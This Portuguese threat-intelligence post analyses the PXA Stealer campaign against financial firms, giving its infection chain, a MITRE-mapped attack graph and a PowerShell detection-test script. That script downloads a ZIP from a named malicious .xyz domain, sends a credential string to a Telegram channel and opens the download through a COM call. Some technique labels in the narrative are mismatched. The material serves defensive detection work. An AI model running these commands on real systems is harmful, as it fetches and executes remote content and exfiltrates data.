De Phishing a Exfiltração: Uma Análise Profunda do PXA Stealer

Ruslan Mikhalov Chefe de Pesquisa de Ameaças na SOC Prime

Seguir

De Phishing a Exfiltração: Uma Análise Profunda do PXA Stealer

Detection stack

AIDR
Alert
ETL
Query

Relatório de Ameaça
Fluxo de Ataque
Detecções
Simulações

Resumo

O relatório descreve um aumento acentuado na atividade do PXA Stealer, visando organizações financeiras no início de 2026. Agentes de ameaça disseminam arquivos ZIP maliciosos através de e-mails de phishing e dependem de uma cadeia de infecção em várias etapas que abusa de ferramentas legítimas do sistema e de um interpretador Python renomeado. Uma vez ativo, o malware rouba credenciais de navegadores, senhas salvas e dados de carteiras de criptomoedas, em seguida exfiltra as informações coletadas através do Telegram. A campanha destaca como os operadores ajustaram suas técnicas após interrupções anteriores em outros ecossistemas de infostealer.

Investigação

Pesquisadores da CyberProof reconstruíram toda a cadeia de ataque, começando com um e-mail de phishing que entregou um arquivo Pumaproject.zip malicioso e terminando com a exfiltração baseada no Telegram. Sua análise identificou o abuso do Certutil para decodificação, uma cópia do WinRAR disfarçada de picture.png para extração, uma pasta Dots oculta e um interpretador Python svchost.exe renomeado usado para lançar um script ofuscado vinculado a um identificador de bot. A persistência é mantida através de uma entrada de valor no registro.

Mitigação

Os defensores devem identificar anexos de arquivos suspeitos, monitorar a execução de scripts e LOLBins conhecidos de caminhos inesperados e bloquear o tráfego de saída para o Telegram, bem como TLDs incomuns como .shop and .xyz. As equipes de segurança também devem fortalecer os gateways de e-mail e aplicar controles rigorosos de execução para arquivos do Office e conteúdo baseado em script.

Resposta

Quando o PXA Stealer é detectado, isole o host afetado, capture evidências voláteis e procure os artefatos de arquivos referenciados e modificações de registro. Remova arquivos maliciosos, termine processos afetados e redefina quaisquer credenciais expostas. As equipes devem então realizar uma busca mais ampla por indicadores correspondentes em todo o ambiente e notificar as partes interessadas relevantes.

<div class="wp-block-socprime-category-attack-flow attack-flow-class" data-title="Attack Flow" data-attack-flow="graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffeb99 classDef process fill:#ffcc99 classDef persistence fill:#c2f0c2 classDef exfil fill:#f4c2c2 %% Node definitions action_phishing["Action – T1566.001 Phishing: Spearphishing Attachment Description: Email with malicious ZIP (Pumaproject.zip) containing Document.docx.exe."] class action_phishing action file_zip["File – Pumaproject.zip Contains: Document.docx.exe"] class file_zip file action_user_exec["Action – T1204.002 User Execution: Malicious File Description: Victim opens the attached executable."] class action_user_exec action process_malicious_exe["Process – Document.docx.exe"] class process_malicious_exe process action_execution_hijack["Action – T1574 Hijack Execution Flow Description: Launches inter.cmd and uses certutil to decode payload from Shodan.pdf."] class action_execution_hijack action process_inter_cmd["Process – inter.cmd"] class process_inter_cmd process tool_certutil["Tool – certutil.exe Purpose: Decode base64 content"] class tool_certutil tool file_shodan_pdf["File – Shodan.pdf Contains: Base64 encoded payload"] class file_shodan_pdf file action_defense_embedded["Action – T1027.009 Embedded Payloads Description: Payload hidden inside PDF file."] class action_defense_embedded action action_decode["Action – T1140 Deobfuscate/Decode Files or Information Description: certutil decodes the payload."] class action_decode action action_hidden_dir["Action – T1564.001 Hidden Files and Directories Description: Malware creates hidden folder "Dots" for intermediate files."] class action_hidden_dir action file_hidden_dir["File – Dots (hidden directory)"] class file_hidden_dir file action_relocate["Action – T1070.010 Indicator Removal: Relocate Malware Description: Moves malicious files into hidden "Dots" directory."] class action_relocate action action_compression["Action – T1027.015 Compression Description: WinRAR disguised as picture.png extracts password‑protected archive (password shodan2201)."] class action_compression action tool_winar["Tool – WinRAR (renamed picture.png)"] class tool_winar tool file_archive["File – Password protected archive (shodan2201)"] class file_archive file action_rc_script["Action – T1037.004 RC Scripts Description: Portable Python dropped, renamed to svchost.exe and executed with $BOT_ID argument."] class action_rc_script action process_svc_host["Process – svchost.exe (malicious Python interpreter)"] class process_svc_host process action_active_setup["Action – T1547.014 Active Setup Description: Registry entry added to run svchost.exe at startup."] class action_active_setup action action_com_hijack["Action – T1546.015 COM Hijacking Description: COM hijacking registry entry created for automatic execution."] class action_com_hijack action action_cred_browser["Action – T1555.003 Credentials from Web Browsers Description: Injects into browsers to steal passwords, cookies, crypto wallet data."] class action_cred_browser action action_cred_cookies["Action – T1539 Steal Web Session Cookie Description: Extracts web session cookies for reuse."] class action_cred_cookies action action_keylogging["Action – T1056.001 Input Capture: Keylogging Description: Captures keystrokes from the user."] class action_keylogging action action_exfil_telegram["Action – T1567 Exfiltration Over Web Service Description: Sends collected data to attacker‑controlled Telegram channels."] class action_exfil_telegram exfil action_exfil_c2["Action – T1041 Exfiltration Over C2 Channel

graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffeb99 classDef process fill:#ffcc99 classDef persistence fill:#c2f0c2 classDef exfil fill:#f4c2c2 %% Node definitions action_phishing[“Action – T1566.001 Phishing: Spearphishing Attachment Description: Email with malicious ZIP (Pumaproject.zip) containing Document.docx.exe.”] class action_phishing action file_zip[“File – Pumaproject.zip Contains: Document.docx.exe”] class file_zip file action_user_exec[“Action – T1204.002 User Execution: Malicious File Description: Victim opens the attached executable.”] class action_user_exec action process_malicious_exe[“Process – Document.docx.exe”] class process_malicious_exe process action_execution_hijack[“Action – T1574 Hijack Execution Flow Description: Launches inter.cmd and uses certutil to decode payload from Shodan.pdf.”] class action_execution_hijack action process_inter_cmd[“Process – inter.cmd”] class process_inter_cmd process tool_certutil[“Tool – certutil.exe Purpose: Decode base64 content”] class tool_certutil tool file_shodan_pdf[“File – Shodan.pdf Contains: Base64 encoded payload”] class file_shodan_pdf file action_defense_embedded[“Action – T1027.009 Embedded Payloads Description: Payload hidden inside PDF file.”] class action_defense_embedded action action_decode[“Action – T1140 Deobfuscate/Decode Files or Information Description: certutil decodes the payload.”] class action_decode action action_hidden_dir[“Action – T1564.001 Hidden Files and Directories Description: Malware creates hidden folder “Dots” for intermediate files.”] class action_hidden_dir action file_hidden_dir[“File – Dots (hidden directory)”] class file_hidden_dir file action_relocate[“Action – T1070.010 Indicator Removal: Relocate Malware Description: Moves malicious files into hidden “Dots” directory.”] class action_relocate action action_compression[“Action – T1027.015 Compression Description: WinRAR disguised as picture.png extracts password‑protected archive (password shodan2201).”] class action_compression action tool_winar[“Tool – WinRAR (renamed picture.png)”] class tool_winar tool file_archive[“File – Password protected archive (shodan2201)”] class file_archive file action_rc_script[“Action – T1037.004 RC Scripts Description: Portable Python dropped, renamed to svchost.exe and executed with $BOT_ID argument.”] class action_rc_script action process_svc_host[“Process – svchost.exe (malicious Python interpreter)”] class process_svc_host process action_active_setup[“Action – T1547.014 Active Setup Description: Registry entry added to run svchost.exe at startup.”] class action_active_setup action action_com_hijack[“Action – T1546.015 COM Hijacking Description: COM hijacking registry entry created for automatic execution.”] class action_com_hijack action action_cred_browser[“Action – T1555.003 Credentials from Web Browsers Description: Injects into browsers to steal passwords, cookies, crypto wallet data.”] class action_cred_browser action action_cred_cookies[“Action – T1539 Steal Web Session Cookie Description: Extracts web session cookies for reuse.”] class action_cred_cookies action action_keylogging[“Action – T1056.001 Input Capture: Keylogging Description: Captures keystrokes from the user.”] class action_keylogging action action_exfil_telegram[“Action – T1567 Exfiltration Over Web Service Description: Sends collected data to attacker‑controlled Telegram channels.”] class action_exfil_telegram exfil action_exfil_c2[“Action – T1041 Exfiltration Over C2 Channel Description: Uses Telegram as C2 and exfiltration channel.”] class action_exfil_c2 exfil %% Connections action_phishing –>|delivers| file_zip file_zip –>|executes| action_user_exec action_user_exec –>|runs| process_malicious_exe process_malicious_exe –>|launches| action_execution_hijack action_execution_hijack –>|spawns| process_inter_cmd process_inter_cmd –>|uses| tool_certutil tool_certutil –>|decodes| file_shodan_pdf file_shodan_pdf –>|contains| action_defense_embedded action_defense_embedded –>|triggers| action_decode action_decode –>|creates| action_hidden_dir action_hidden_dir –>|creates| file_hidden_dir action_hidden_dir –>|stores| action_relocate action_relocate –>|moves files to| file_hidden_dir action_relocate –>|leads to| action_compression action_compression –>|uses| tool_winar tool_winar –>|extracts| file_archive file_archive –>|provides| action_rc_script action_rc_script –>|executes| process_svc_host process_svc_host –>|establishes| action_active_setup process_svc_host –>|establishes| action_com_hijack process_svc_host –>|enables| action_cred_browser process_svc_host –>|enables| action_cred_cookies process_svc_host –>|enables| action_keylogging action_keylogging –>|feeds data to| action_exfil_telegram action_cred_browser –>|feeds data to| action_exfil_telegram action_cred_cookies –>|feeds data to| action_exfil_telegram action_exfil_telegram –>|uses channel| action_exfil_c2

Fluxo de Ataque

Narrativa do Ataque & Comandos:
O agente de ameaça implanta o PXA Stealer em um host Windows comprometido. Após o usuário executar inadvertidamente o binário malicioso inicial (T1204.002), o stealer executa um snippet de PowerShell que:
1. Faz o download de um ZIP malicioso do domínio codificado downloadtheproject.xyz (T1202 – execução indireta de comando).
2. Exfiltra os dados colhidos enviando uma mensagem para um canal no Telegram via t.me (T1559.002 – link de phishing).
3. Opcionalmente carrega um componente COM malicioso para alcançar persistência (T1127.002).
Ambos os pedidos HTTP GET geram os campos DestinationDomain que a regra Sigma observa, causando um alerta.

Script de Teste de Regressão:

# Simulação PXA Stealer – aciona a regra de detecção
$tmpZip = "$env:TEMPpayload.zip"
$tmpMsg = "$env:TEMPsteal.txt"

# 1. Download do ZIP malicioso do primeiro domínio malicioso
Invoke-WebRequest -Uri "https://downloadtheproject.xyz/malware.zip" -OutFile $tmpZip -UseBasicParsing

# 2. Simular exfiltração de dados via link do Telegram
$payload = "Credenciais de usuário: admin / Pass123!"
Set-Content -Path $tmpMsg -Value $payload -Encoding ASCII
Invoke-WebRequest -Uri "https://t.me/stealchannel?text=$( [uri]::EscapeDataString($payload) )" -UseBasicParsing

# 3. (Opcional) Carregar um objeto COM fictício para emular T1127.002
try {
    $com = New-Object -ComObject "Shell.Application"
    $com.ShellExecute($tmpZip, "", "", "open", 0) | Out-Null
} catch {
    # Ignorar erros – isto é apenas para telemetria
}

Comandos de Limpeza:

# Remover artefatos criados pela simulação
Remove-Item -Path $tmpZip -Force -ErrorAction SilentlyContinue
Remove-Item -Path $tmpMsg -Force -ErrorAction SilentlyContinue

Junte-se à plataforma Detection as Code da SOC Prime para melhorar a visibilidade das ameaças mais relevantes para o seu negócio. Para ajudá-lo a começar e gerar valor imediato, agende uma reunião agora com os especialistas da SOC Prime.

Cadastre-se Gratuitamente